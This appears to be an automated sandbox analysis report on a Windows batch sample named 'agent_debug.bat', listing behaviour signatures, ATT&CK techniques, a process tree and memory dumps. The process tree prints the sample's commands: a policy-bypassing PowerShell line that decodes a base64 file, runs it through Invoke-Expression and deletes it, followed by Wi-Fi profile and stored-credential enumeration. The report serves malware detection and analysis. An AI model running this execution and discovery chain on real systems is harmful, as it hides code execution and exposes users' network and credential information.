Analysis
- max time kernel
149s - max time network
108s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
08/05/2026, 14:59
General
- Target agent_debug.bat
- Size 67KB
- Sample260508-sc15wsat91
- SHA256 073eb2fb4cb1cdbc14c435028dfd04ca631dac4d713b1bfce573f84e90757d37
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Drops file in Windows directory 1 IoCs
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\agent_debug.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -NoProfile -Command "$f='C:\Users\Admin\AppData\Local\Temp\10170.b64';$b=Get-Content $f -Raw;[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(($b -replace '\s',''))) | Invoke-Expression;Remove-Item $f -Force -EA 0"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exe"C:\Windows\system32\netsh.exe" wlan show profiles3⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
C:\Windows\system32\cmdkey.exe"C:\Windows\system32\cmdkey.exe" /list3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
10170.b64
10170.b64
__PSScriptPolicyTest_3pnprdtt.bqg.ps1
memory/2716-45-0x000002E97CF70000-0x000002E97CF8C000-memory.dmp
memory/2716-47-0x000002E97D3C0000-0x000002E97D3DA000-memory.dmp
memory/2716-27-0x000002E97CE10000-0x000002E97CE20000-memory.dmp
memory/2716-18-0x000002E97CE10000-0x000002E97CE20000-memory.dmp
memory/2716-29-0x000002E97D4B0000-0x000002E97D672000-memory.dmp
memory/2716-35-0x000002E97DBB0000-0x000002E97E0D8000-memory.dmp
memory/2716-42-0x000002E97CF20000-0x000002E97CF3C000-memory.dmp
memory/2716-43-0x000002E97D2E0000-0x000002E97D393000-memory.dmp
memory/2716-44-0x000002E97CF10000-0x000002E97CF1A000-memory.dmp
memory/2716-19-0x000002E97CE10000-0x000002E97CE20000-memory.dmp
memory/2716-46-0x000002E97CF50000-0x000002E97CF5A000-memory.dmp
memory/2716-20-0x000002E97CE50000-0x000002E97CE72000-memory.dmp
memory/2716-48-0x000002E97D3A0000-0x000002E97D3A8000-memory.dmp
memory/2716-50-0x000002E97D400000-0x000002E97D40A000-memory.dmp
memory/2716-49-0x000002E97D3F0000-0x000002E97D3F6000-memory.dmp
memory/2716-51-0x000002E97CE10000-0x000002E97CE20000-memory.dmp
memory/2716-65-0x000002E97D3F0000-0x000002E97D436000-memory.dmp
memory/2716-67-0x000002E97CE10000-0x000002E97CE20000-memory.dmp
memory/2716-66-0x000002E97CE10000-0x000002E97CE20000-memory.dmp
memory/2716-68-0x000002E97CE10000-0x000002E97CE20000-memory.dmp
memory/2716-69-0x000002E964750000-0x000002E96475C000-memory.dmp
memory/2716-70-0x000002E97CDF0000-0x000002E97CE02000-memory.dmp
memory/2716-71-0x000002E97CE10000-0x000002E97CE20000-memory.dmp